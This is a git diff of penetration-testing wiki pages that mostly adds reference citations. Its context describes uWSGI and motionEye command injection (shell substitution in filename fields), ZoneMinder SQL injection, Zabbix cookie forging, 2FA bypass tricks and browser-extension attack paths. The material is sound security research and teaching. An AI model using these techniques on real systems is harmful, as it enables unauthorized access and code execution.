diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md
index bb12c15802b..37d70f64db6 100644
--- a/src/network-services-pentesting/pentesting-web/wsgi.md
+++ b/src/network-services-pentesting/pentesting-web/wsgi.md
@@ -18,7 +18,7 @@ werkzeug.md
## uWSGI Magic Variables Exploitation
-uWSGI provides special "magic variables" that can change how the instance loads and dispatches applications. These variables are not normal HTTP headers — they are uwsgi parameters carried inside the uwsgi/SCGI/FastCGI request from the reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) to the uWSGI backend. If a proxy configuration maps user-controlled data into uwsgi parameters (for example via `$arg_*`, `$http_*`, or unsafely exposed endpoints that talk the uwsgi protocol), attackers can set these variables and achieve code execution.[[1]](#references)
+uWSGI provides special "magic variables" that can change how the instance loads and dispatches applications. These variables are not normal HTTP headers — they are uwsgi parameters carried inside the uwsgi/SCGI/FastCGI request from the reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) to the uWSGI backend. If a proxy configuration maps user-controlled data into uwsgi parameters (for example via `$arg_*`, `$http_*`, or unsafely exposed endpoints that talk the uwsgi protocol), attackers can set these variables and achieve code execution.[[1]](#references)[[3]](#references)
### Dangerous mappings in front proxies (nginx example)
@@ -195,7 +195,7 @@ os.environ['UWSGI_CHEAPER'] = '1'
Deployments that use Apache httpd with `mod_proxy_uwsgi` have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer:
-- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when `mod_proxy_uwsgi` is in use. Upgrading Apache to ≥2.4.56 mitigates the issue.
+- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when `mod_proxy_uwsgi` is in use. Upgrading Apache to ≥2.4.56 mitigates the issue.[[6]](#references)
- CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”[[5]](#references)
These do not directly grant RCE in uWSGI, but in edge cases they can be chained with header injection or SSRF to pivot towards the uwsgi backend. During tests, fingerprint the proxy and version and consider desync/smuggling primitives as an entry to backend-only routes and sockets.
@@ -207,5 +207,6 @@ These do not directly grant RCE in uWSGI, but in edge cases they can be chained
- [3] [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
- [4] [The uwsgi Protocol (spec)](https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html)
- [5] [uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments](https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.26.html)
+- [6] [CVE-2023-27522 — Apache HTTP Server mod_proxy_uwsgi HTTP Response Smuggling](https://nvd.nist.gov/vuln/detail/CVE-2023-27522)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/zabbix.md b/src/network-services-pentesting/pentesting-web/zabbix.md
index 74b9e73045e..809cc39c8f3 100644
--- a/src/network-services-pentesting/pentesting-web/zabbix.md
+++ b/src/network-services-pentesting/pentesting-web/zabbix.md
@@ -20,7 +20,7 @@ Recent Zabbix versions compute the cookie like:
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)
-If you can recover the global session_key and a valid admin sessionid, you can forge a valid Admin cookie offline and authenticate to the UI.
+If you can recover the global session_key and a valid admin sessionid, you can forge a valid Admin cookie offline and authenticate to the UI.[[1]](#references)
## CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log
diff --git a/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md b/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md
index ee3f1f8242e..0d6b506ebba 100644
--- a/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md
+++ b/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md
@@ -15,7 +15,7 @@ After host access, the most interesting files are commonly:
- **`/etc/motioneye/motioneye.conf`**
- **`/etc/motioneye/*.conf`**
-- ZoneMinder web sources / config revealing the DB name, tables, and auth model
+- ZoneMinder web sources / config revealing the DB name, tables, and auth model[[1]](#references)
## ZoneMinder
@@ -35,7 +35,7 @@ In vulnerable ZoneMinder **`1.37.* <= 1.37.64`**, the **`tid`** parameter in:
/zm/index.php?view=request&request=event&action=removetag&tid=1
```
-can reach code that safely uses **`$_REQUEST['tid']`** in one query and then later concatenates it into:
+can reach code that safely uses **`$_REQUEST['tid']`** in one query and then later concatenates it into:[[1]](#references)
```php
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
@@ -132,7 +132,7 @@ This is useful when the UI blocks characters such as **`$`**, but the backend st
In vulnerable motionEye / Motion setups, fields such as **`image_file_name`** or **`picture_filename`** are written into Motion configuration and later propagated into shell-executed hooks such as **`on_picture_save ... %f`**.[[1]](#references)
-If the saved filename contains shell substitution like **`$(...)`**, the shell expands it before the hook runs.
+If the saved filename contains shell substitution like **`$(...)`**, the shell expands it before the hook runs.[[1]](#references)
Probe payloads:
@@ -146,7 +146,7 @@ If the Motion process or hook executes as **root**, this becomes **root RCE**.
### Unauthenticated localhost Motion webcontrol
-If Motion webcontrol is reachable and unauthenticated, test it directly:
+If Motion webcontrol is reachable and unauthenticated, test it directly:[[1]](#references)
```bash
curl -s http://127.0.0.1:7999/
@@ -170,7 +170,7 @@ Why this works:
### Stored SHA1 hash accepted as a login secret
-If you can read **`@admin_password`** from motionEye config, do not assume you must crack it first.
+If you can read **`@admin_password`** from motionEye config, do not assume you must crack it first.[[1]](#references)
Some motionEye builds store:
diff --git a/src/pentesting-web/2fa-bypass.md b/src/pentesting-web/2fa-bypass.md
index 5650dc68439..79f6450821c 100644
--- a/src/pentesting-web/2fa-bypass.md
+++ b/src/pentesting-web/2fa-bypass.md
@@ -6,23 +6,23 @@
### **Direct Endpoint Access**
-To bypass 2FA, access the subsequent endpoint directly, knowing the path is crucial. If unsuccessful, alter the **Referrer header** to mimic navigation from the 2FA verification page.
+To bypass 2FA, access the subsequent endpoint directly, knowing the path is crucial. If unsuccessful, alter the **Referrer header** to mimic navigation from the 2FA verification page.[[2]](#references)
### **Token Reuse**
-Reutilizing previously used tokens for authentication within an account can be effective.
+Reutilizing previously used tokens for authentication within an account can be effective.[[2]](#references)
### **Utilization of Unused Tokens**
-Extracting a token from one's own account to bypass 2FA in another account can be attempted.
+Extracting a token from one's own account to bypass 2FA in another account can be attempted.[[2]](#references)
### **Exposure of Token**
-Investigate whether the token is disclosed in a response from the web application.
+Investigate whether the token is disclosed in a response from the web application.[[2]](#references)
### **Verification Link Exploitation**
-Using the **email verification link sent upon account creation** can allow profile access without 2FA, as highlighted in a detailed [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).[[4]](#references)
+Using the **email verification link sent upon account creation** can allow profile access without 2FA, as highlighted in a detailed [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).[[3]](#references)
### **Session Manipulation**
@@ -30,7 +30,7 @@ Initiating sessions for both the user's and a victim's account, and completing 2
### **Password Reset Mechanism**
-Investigating the password reset function, which logs a user into the application post-reset, for its potential to allow multiple resets using the same link is crucial. Logging in with the newly reset credentials might bypass 2FA.
+Investigating the password reset function, which logs a user into the application post-reset, for its potential to allow multiple resets using the same link is crucial. Logging in with the newly reset credentials might bypass 2FA.[[2]](#references)
### **OAuth Platform Compromise**
@@ -40,17 +40,17 @@ Compromising a user's account on a trusted **OAuth** platform (e.g., Google, Fac
#### **Rate Limit Absence**
-The lack of a limit on the number of code attempts allows for brute force attacks, though potential silent rate limiting should be considered.
+The lack of a limit on the number of code attempts allows for brute force attacks, though potential silent rate limiting should be considered.[[1]](#references)[[2]](#references)
-Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.[[5]](#references)
+Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.[[4]](#references)
#### **Slow Brute Force**
-A slow brute force attack is viable where flow rate limits exist without an overarching rate limit.
+A slow brute force attack is viable where flow rate limits exist without an overarching rate limit.[[1]](#references)
#### **Code Resend Limit Reset**
-Resending the code resets the rate limit, facilitating continued brute force attempts.
+Resending the code resets the rate limit, facilitating continued brute force attempts.[[1]](#references)
#### **Client-Side Rate Limit Circumvention**
@@ -58,7 +58,7 @@ A document details techniques for bypassing client-side rate limiting.
#### **Internal Actions Lack Rate Limit**
-Rate limits may protect login attempts but not internal account actions.
+Rate limits may protect login attempts but not internal account actions.[[1]](#references)
#### **SMS Code Resend Costs**
@@ -66,7 +66,7 @@ Excessive resending of codes via SMS incurs costs to the company, though it does
#### **Infinite OTP Regeneration**
-Endless OTP generation with simple codes allows brute force by retrying a small set of codes.
+Endless OTP generation with simple codes allows brute force by retrying a small set of codes.[[1]](#references)
### **Race Condition Exploitation**
@@ -74,17 +74,17 @@ Exploiting race conditions for 2FA bypass can be found in a specific document.
### **CSRF/Clickjacking Vulnerabilities**
-Exploring CSRF or Clickjacking vulnerabilities to disable 2FA is a viable strategy.
+Exploring CSRF or Clickjacking vulnerabilities to disable 2FA is a viable strategy.[[1]](#references)[[2]](#references)
### **"Remember Me" Feature Exploits**
#### **Predictable Cookie Values**
-Guessing the "remember me" cookie value can bypass restrictions.
+Guessing the "remember me" cookie value can bypass restrictions.[[1]](#references)
#### **IP Address Impersonation**
-Impersonating the victim's IP address through the **X-Forwarded-For** header can bypass restrictions.
+Impersonating the victim's IP address through the **X-Forwarded-For** header can bypass restrictions.[[1]](#references)
### **Utilizing Older Versions**
@@ -94,23 +94,23 @@ Testing subdomains may use outdated versions lacking 2FA support or contain vuln
#### **API Endpoints**
-Older API versions, indicated by /v\*/ directory paths, may be vulnerable to 2FA bypass methods.
+Older API versions, indicated by /v\*/ directory paths, may be vulnerable to 2FA bypass methods.[[1]](#references)
### **Handling of Previous Sessions**
-Terminating existing sessions upon 2FA activation secures accounts against unauthorized access from compromised sessions.
+Terminating existing sessions upon 2FA activation secures accounts against unauthorized access from compromised sessions.[[1]](#references)
### **Access Control Flaws with Backup Codes**
-Immediate generation and potential unauthorized retrieval of backup codes upon 2FA activation, especially with CORS misconfigurations/XSS vulnerabilities, poses a risk.
+Immediate generation and potential unauthorized retrieval of backup codes upon 2FA activation, especially with CORS misconfigurations/XSS vulnerabilities, poses a risk.[[1]](#references)[[2]](#references)
### **Information Disclosure on 2FA Page**
-Sensitive information disclosure (e.g., phone number) on the 2FA verification page is a concern.
+Sensitive information disclosure (e.g., phone number) on the 2FA verification page is a concern.[[1]](#references)
### **Password Reset Disabling 2FA**
-A process demonstrating a potential bypass method involves account creation, 2FA activation, password reset, and subsequent login without the 2FA requirement.
+A process demonstrating a potential bypass method involves account creation, 2FA activation, password reset, and subsequent login without the 2FA requirement.[[2]](#references)
### **Decoy Requests**
@@ -122,15 +122,10 @@ In case the OTP is created based on data the user already has or that is sending
## References
-- [1] [Two-Factor Authentication Security Testing and Possible Bypasses](https://medium.com/@ISecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35)
+- [1] [Two-Factor Authentication: Security Testing and Possible Bypasses](https://medium.com/@ISecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35)
- [2] [2 Factor Authentication Bypass](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
-- [3] [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce)
-- [4] [Behind the Scenes of a Security Bug: The Perils of 2FA Cookie Generation](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)
-- [5] [The $2,200 ATO Most Bug Hunters Overlooked by Closing Intruder Too Soon](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)
-
-P
+- [3] [Behind the Scenes of a Security Bug: The Perils of 2FA Cookie Generation](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)
+- [4] [The $2,200 ATO Most Bug Hunters Overlooked by Closing Intruder Too Soon](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)
+- [5] [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce)
{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/abusing-hop-by-hop-headers.md b/src/pentesting-web/abusing-hop-by-hop-headers.md
index f73582c0f11..4c40d9e67d9 100644
--- a/src/pentesting-web/abusing-hop-by-hop-headers.md
+++ b/src/pentesting-web/abusing-hop-by-hop-headers.md
@@ -4,23 +4,23 @@
---
-**This is a summary of the post** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)
+**This is a summary of the post** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)[[1]](#references)
-Hop-by-hop headers are specific to a single transport-level connection, used primarily in HTTP/1.1 for managing data between two nodes (like client-proxy or proxy-proxy), and are not meant to be forwarded. Standard hop-by-hop headers include `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, and `Proxy-Authenticate`, as defined in [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Additional headers can be designated as hop-by-hop via the `Connection` header.[[1]](#references)
+Hop-by-hop headers are specific to a single transport-level connection, used primarily in HTTP/1.1 for managing data between two nodes (like client-proxy or proxy-proxy), and are not meant to be forwarded. Standard hop-by-hop headers include `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, and `Proxy-Authenticate`, as defined in [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1).[[2]](#references) Additional headers can be designated as hop-by-hop via the `Connection` header.
### Abusing Hop-by-Hop Headers
-Improper management of hop-by-hop headers by proxies can lead to security issues. While proxies are expected to remove these headers, not all do, creating potential vulnerabilities.[[1]](#references)
+Improper management of hop-by-hop headers by proxies can lead to security issues. While proxies are expected to remove these headers, not all do, creating potential vulnerabilities.
### Testing for Hop-by-Hop Header Handling
-The handling of hop-by-hop headers can be tested by observing changes in server responses when specific headers are marked as hop-by-hop. Tools and scripts can automate this process, identifying how proxies manage these headers and potentially uncovering misconfigurations or proxy behaviors.[[1]](#references)
+The handling of hop-by-hop headers can be tested by observing changes in server responses when specific headers are marked as hop-by-hop. Tools and scripts can automate this process, identifying how proxies manage these headers and potentially uncovering misconfigurations or proxy behaviors.
Abusing hop-by-hop headers can lead to various security implications. Below are a couple of examples demonstrating how these headers can be manipulated for potential attacks:
### Bypassing Security Controls with `X-Forwarded-For`
-An attacker can manipulate the `X-Forwarded-For` header to bypass IP-based access controls. This header is often used by proxies to track the originating IP address of a client. However, if a proxy treats this header as hop-by-hop and forwards it without proper validation, an attacker can spoof their IP address.[[1]](#references)
+An attacker can manipulate the `X-Forwarded-For` header to bypass IP-based access controls. This header is often used by proxies to track the originating IP address of a client. However, if a proxy treats this header as hop-by-hop and forwards it without proper validation, an attacker can spoof their IP address.
**Attack Scenario:**
@@ -31,7 +31,7 @@ An attacker can manipulate the `X-Forwarded-For` header to bypass IP-based acces
### Cache Poisoning via Hop-by-Hop Header Injection
-If a cache server incorrectly caches content based on hop-by-hop headers, an attacker could inject malicious headers to poison the cache. This would serve incorrect or malicious content to users requesting the same resource.[[1]](#references)
+If a cache server incorrectly caches content based on hop-by-hop headers, an attacker could inject malicious headers to poison the cache. This would serve incorrect or malicious content to users requesting the same resource.
**Attack Scenario:**
@@ -42,8 +42,6 @@ If a cache server incorrectly caches content based on hop-by-hop headers, an att
## References
- [1] [Abusing HTTP hop-by-hop request headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)
+- [2] [RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1, section 13.5.1](https://tools.ietf.org/html/rfc2616#section-13.5.1)
{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index 1698e5092da..6e91381038a 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -4,11 +4,11 @@
## Basic Information
-Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. This means that it may compromise other sites' confidentiality, integrity, and availability (CIA).
+Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. This means that it may compromise other sites' confidentiality, integrity, and availability (CIA).[[1]](#references)
## Main Components
-Extension layouts look best when visualised and consists of three components. Let’s look at each component in depth.
+Extension layouts look best when visualised and consists of three components. Let’s look at each component in depth.[[12]](#references)
@@ -35,7 +35,7 @@ Moreover, content scripts separate from their associated web pages by **running
## **`manifest.json`**
-A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). The extension's core is the **`manifest.json`** file at the root of the folder, which specifies layout, permissions, and other configuration options.
+A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). The extension's core is the **`manifest.json`** file at the root of the folder, which specifies layout, permissions, and other configuration options.[[2]](#references)
Example:
@@ -100,7 +100,7 @@ chrome.storage.local.get("message", (result) => {
A message is sent to the extension pages by the content script when this button is clicked, through the utilization of the [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). This is due to the content script's limitation in direct access to APIs, with `storage` being among the few exceptions. For functionalities beyond these exceptions, messages are sent to extension pages which content scripts can communicate with.
> [!WARNING]
-> Depending on the browser, the capabilities of the content script may vary slightly. For Chromium-based browsers, the capabilities list is available in the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), and for Firefox, the [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serves as the primary source.\
+> Depending on the browser, the capabilities of the content script may vary slightly. For Chromium-based browsers, the capabilities list is available in the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), and for Firefox, the [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serves as the primary source.[[5]](#references)\
> It is also noteworthy that content scripts have the ability to communicate with background scripts, enabling them to perform actions and relay responses back.
For viewing and debugging content scripts in Chrome, the Chrome developer tools menu can be accessed from Options > More tools > Developer tools OR by pressing Ctrl + Shift + I.
@@ -226,7 +226,7 @@ chrome.scripting.registerContentScripts([
### `background`
-Messages sent by content scripts are received by the **background page**, which serves a central role in coordinating the extension's components. Notably, the background page persists across the extension's lifetime, operating discreetly without direct user interaction. It possesses its own Document Object Model (DOM), enabling complex interactions and state management.
+Messages sent by content scripts are received by the **background page**, which serves a central role in coordinating the extension's components. Notably, the background page persists across the extension's lifetime, operating discreetly without direct user interaction. It possesses its own Document Object Model (DOM), enabling complex interactions and state management.[[7]](#references)
**Key Points**:
@@ -270,7 +270,7 @@ Note that these pages aren't persistent like background pages as they load dynam
### `permissions` & `host_permissions`
-**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.
+**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.[[3]](#references)
As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**.
@@ -300,7 +300,7 @@ For more info about CSP and potential bypasses check:
### `web_accessible_resources`
-in order for a webpage to access a page of a Browser Extension, a `.html` page for example, this page needs to be mentioned in the **`web_accessible_resources`** field of the `manifest.json`.\
+in order for a webpage to access a page of a Browser Extension, a `.html` page for example, this page needs to be mentioned in the **`web_accessible_resources`** field of the `manifest.json`.[[4]](#references)\
For example:
```javascript
@@ -352,7 +352,7 @@ browext-clickjacking.md
### `externally_connectable`
-A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
+A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)[[6]](#references), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- If the **`externally_connectable`** key is **not** declared in your extension's manifest or it's declared as **`"ids": ["*"]`**, **all extensions can connect, but no web pages can connect**.
- If **specific IDs are specified**, like in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **only those applications** can connect.
@@ -373,11 +373,11 @@ The **less extensions and URLs** indicated here, the **smaller the attack surfac
>
> Therefore, this is a **very powerful bypass**.
>
-> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).[[15]](#references)
+> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).[[14]](#references)
#### Wildcard-trusted web origins to privileged action injection
-If an extension exposes a **high-privilege message handler** to the web via `externally_connectable`, avoid trusting a broad pattern such as `https://*.example.com/*`. A single **XSS**, **subdomain takeover**, or **vendor widget compromise** on any matching subdomain becomes equivalent to owning the extension's web-facing API.[[13]](#references)
+If an extension exposes a **high-privilege message handler** to the web via `externally_connectable`, avoid trusting a broad pattern such as `https://*.example.com/*`. A single **XSS**, **subdomain takeover**, or **vendor widget compromise** on any matching subdomain becomes equivalent to owning the extension's web-facing API.[[11]](#references)
Typical exploitation path:
@@ -552,7 +552,7 @@ document.getElementById("theButton").addEventListener(
)
```
-A secure Post Message communication should check the authenticity of the received message, this can be done checking:
+A secure Post Message communication should check the authenticity of the received message, this can be done checking:[[1]](#references)
- **`event.isTrusted`**: This is True only if the event was triggered by a users action
- The content script might expecting a message only if the user performs some action
@@ -654,7 +654,7 @@ Browser extensions also allow to communicate with **binaries in the system via s
Where the `name` is the string passed to [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) or [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) to communicate with the application from the background scripts of the browser extension. The `path` is the path to the binary, there is only 1 valid `type` which is stdio (use stdin and stdout) and the `allowed_origins` indicate the extensions that can access it (and can't have wildcard).
-Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
+Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).[[17]](#references)
> [!TIP]
> The browser extension also needs the `nativeMessaing` permission declared in order to be able to use this communication.
@@ -671,18 +671,18 @@ chrome.runtime.sendNativeMessage(
)
```
-In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), a vulnerable pattern abusing native messages is proposed:
+In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)[[13]](#references), a vulnerable pattern abusing native messages is proposed:
1. Browser extension has a wildcard pattern for content script.
2. Content script passes `postMessage` messages to the background script using `sendMessage`.
3. Background script passes the message to native application using `sendNativeMessage`.
4. Native application handles the message dangerously, leading to code execution.
-And inside of it an example of **going from any page to RCE abusing a browser extension is explained**.[[14]](#references)
+And inside of it an example of **going from any page to RCE abusing a browser extension is explained**.
## Sensitive Information in Memory/Code/Clipboard
-If a Browser Extension stores **sensitive information inside it's memory**, this could be **dumped** (specially in Windows machines) and **searched** for this information.
+If a Browser Extension stores **sensitive information inside it's memory**, this could be **dumped** (specially in Windows machines) and **searched** for this information.[[1]](#references)
Therefore, the memory of the Browser Extension **shouldn't be considered secure** and **sensitive information** such as credentials or mnemonic phrases **shouldn't be stored**.
@@ -690,7 +690,7 @@ Of course, do **not put sensitive information in the code**, as it will be **pub
To dump memory from the browser you could **dump the process memory** or to go to the **settings** of the browser extension click on **`Inspect pop-up`** -> In the **`Memory`** section -> **`Take a snaphost`** and **`CTRL+F`** to search inside the snapshot for sensitive info.
-Moreover, highly sensitive information like mnemonic keys or passwords **shouldn't be allowed to be copied in the clipboard** (or at least remove it from the clipboard in a few seconds) because then processes monitoring the clipboard will be able to get them.
+Moreover, highly sensitive information like mnemonic keys or passwords **shouldn't be allowed to be copied in the clipboard** (or at least remove it from the clipboard in a few seconds) because then processes monitoring the clipboard will be able to get them.[[16]](#references)
## Loading an Extension in the Browser
@@ -702,7 +702,7 @@ In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click *
## Getting the source code from the store
-The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option.
+The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option.[[9]](#references)
### Download Extension as ZIP via Command Line
@@ -748,7 +748,7 @@ Open Chrome and go to `chrome://extensions/`. Enable "Developer mode" at the top
## Chrome extension manifest dataset
-In order to try to spot vulnerable browser extensions you could use the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) and check their manifest files for potentially vulnerable signs. For example to check for extensions with more than 25000 users, `content_scripts` and the permission `nativeMessaing`:
+In order to try to spot vulnerable browser extensions you could use the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) and check their manifest files for potentially vulnerable signs. For example to check for extensions with more than 25000 users, `content_scripts` and the permission `nativeMessaing`:[[13]](#references)
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
@@ -765,7 +765,7 @@ forced-extension-load-preferences-mac-forgery-windows.md
## Detecting Malicious Extension Updates (Static Version Diffing)
-Supply-chain compromises often arrive as **malicious updates** to previously benign extensions. A practical, low-noise approach is to **compare a new extension package against the last known-good version** using static analysis (for example, [Assemblyline](https://github.com/CybercentreCanada/assemblyline)). The goal is to alert on **high-signal deltas** rather than on any change.[[12]](#references)
+Supply-chain compromises often arrive as **malicious updates** to previously benign extensions. A practical, low-noise approach is to **compare a new extension package against the last known-good version** using static analysis (for example, [Assemblyline](https://github.com/CybercentreCanada/assemblyline)). The goal is to alert on **high-signal deltas** rather than on any change.[[10]](#references)
### Workflow
@@ -799,7 +799,7 @@ Key Assemblyline services for this workflow:
## Security Audit Checklist
-Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones:
+Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones:[[8]](#references)
- [ ] **Limit** as much as possible requested **`permissions`**
- [ ] **Limit** as much as possible **`host_permissions`**
@@ -827,7 +827,7 @@ Even though Browser Extensions have a **limited attack surface**, some of them m
### [**Tarnish**](https://thehackerblog.com/tarnish/)
-- Pulls any Chrome extension from a provided Chrome webstore link.
+- Pulls any Chrome extension from a provided Chrome webstore link.[[1]](#references)
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simply displays a JSON-prettified version of the extension’s manifest.
- **Fingerprint Analysis**: Detection of [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) and automatic generation of Chrome extension fingerprinting JavaScript.
